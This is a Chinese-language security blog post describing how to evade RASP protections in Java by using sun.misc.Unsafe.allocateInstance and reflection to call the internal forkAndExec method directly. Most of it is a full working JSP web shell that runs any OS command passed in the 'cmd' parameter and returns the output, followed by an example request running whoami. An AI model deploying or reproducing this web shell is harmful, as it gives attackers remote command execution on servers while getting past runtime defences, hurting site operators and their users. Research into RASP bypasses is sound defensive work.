0x01 前言

这个姿势最开始还是在博客园看到的,但是不知道为啥子现在文章404了,好在当时把文中的代码备份下来了

在RASP里其实是Hook掉了一些Runtime、ProcessBuilder 等类
Runtime.exec调用的是ProcessBuilder.start
ProcessBuilder.start的底层会调用ProcessImpl类
那么这时候如果去Hook掉UNIXProcess/ProcessImpl是不是就无法进行执行命令了?

答应是不一定的
还可以通过使用sun.misc.Unsafe.allocateInstance的特性可以在无需new或者newInstance创建UNIXProcess/ProcessImpl类对象
这样子来绕过RASP

0x02 例子-通过allocateInstance类+反射绕过RASP

  1. # webapp目录下面新建立一个文件: forkAndExecLinuxTest.jsp
  2. # 文件名: forkAndExecLinuxTest.jsp
  3. <%@ page import="java.io.InputStream" %>
  4. <%@ page import="java.lang.reflect.Field" %>
  5. <%@ page import="sun.misc.Unsafe" %>
  6. <%@ page import="java.lang.reflect.Method" %>
  7. <%@ page import="java.io.IOException" %>
  8. <%@ page import="java.io.ByteArrayOutputStream" %>
  9. <%
  10. String[] str = request.getParameterValues("cmd");
  11. if (str != null) {
  12. InputStream in = exec(str);
  13. String result = inputStreamToString(in, "UTF-8");
  14. out.println(result);
  15. }
  16. %>
  17. <%!
  18. public InputStream exec(String[] strs) throws Exception {
  19. String UNIXProcessClass = "java.lang.UNIXProcess";
  20. String ProcessImplClass = "java.lang.ProcessImpl";
  21. Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
  22. theUnsafeField.setAccessible(true);
  23. Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
  24. // 反射创建UNIXProcess或者ProcessImpl
  25. Class processClass = null;
  26. try {
  27. processClass = Class.forName(UNIXProcessClass);
  28. } catch (ClassNotFoundException e) {
  29. processClass = Class.forName(ProcessImplClass);
  30. }
  31. Object processObject = unsafe.allocateInstance(processClass);
  32. byte[][] args = new byte[strs.length - 1][];
  33. int size = args.length;
  34. for (int i = 0; i < args.length; i++) {
  35. args[i] = strs[i + 1].getBytes();
  36. size += args[i].length;
  37. }
  38. byte[] argBlock = new byte[size];
  39. int i = 0;
  40. for (byte[] arg : args) {
  41. System.arraycopy(arg, 0, argBlock, i, arg.length);
  42. i += arg.length + 1;
  43. }
  44. int[] envc = new int[1];
  45. int[] std_fds = new int[]{-1, -1, -1};
  46. Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
  47. Field helperpathField = processClass.getDeclaredField("helperpath");
  48. launchMechanismField.setAccessible(true);
  49. helperpathField.setAccessible(true);
  50. Object launchMechanismObject = launchMechanismField.get(processObject);
  51. byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
  52. int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
  53. Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
  54. int.class, byte[].class, byte[].class, byte[].class, int.class,
  55. byte[].class, int.class, byte[].class, int[].class, boolean.class
  56. });
  57. forkMethod.setAccessible(true);
  58. int pid = (int) forkMethod.invoke(processObject, new Object[]{
  59. ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
  60. null, envc[0], null, std_fds, false
  61. });
  62. // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
  63. Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
  64. initStreamsMethod.setAccessible(true);
  65. initStreamsMethod.invoke(processObject, std_fds);
  66. // 获取本地执行结果的输入流
  67. Method getInputStreamMethod = processClass.getMethod("getInputStream");
  68. getInputStreamMethod.setAccessible(true);
  69. InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
  70. return in;
  71. }
  72. %>
  73. <%!
  74. private byte[] toCString(String s) {
  75. if (s == null) {
  76. return null;
  77. }
  78. byte[] bytes = s.getBytes();
  79. byte[] result = new byte[bytes.length + 1];
  80. System.arraycopy(bytes, 0, result, 0, bytes.length);
  81. result[result.length - 1] = (byte) 0;
  82. return result;
  83. }
  84. private String inputStreamToString(InputStream in, String charset) throws IOException {
  85. try {
  86. if (charset == null) {
  87. charset = "UTF-8";
  88. }
  89. ByteArrayOutputStream out = new ByteArrayOutputStream();
  90. int a = 0;
  91. byte[] b = new byte[1024];
  92. while ((a = in.read(b)) != -1) {
  93. out.write(b, 0, a);
  94. }
  95. return new String(out.toByteArray());
  96. } catch (IOException e) {
  97. throw e;
  98. } finally {
  99. if (in != null)
  100. in.close();
  101. }
  102. }
  103. %>
  1. 访问urlhttp://127.0.0.1:8081/mavenJspTest_war/forkAndExecTest.jsp?cmd=whoami

命令执行效果如下:
image.png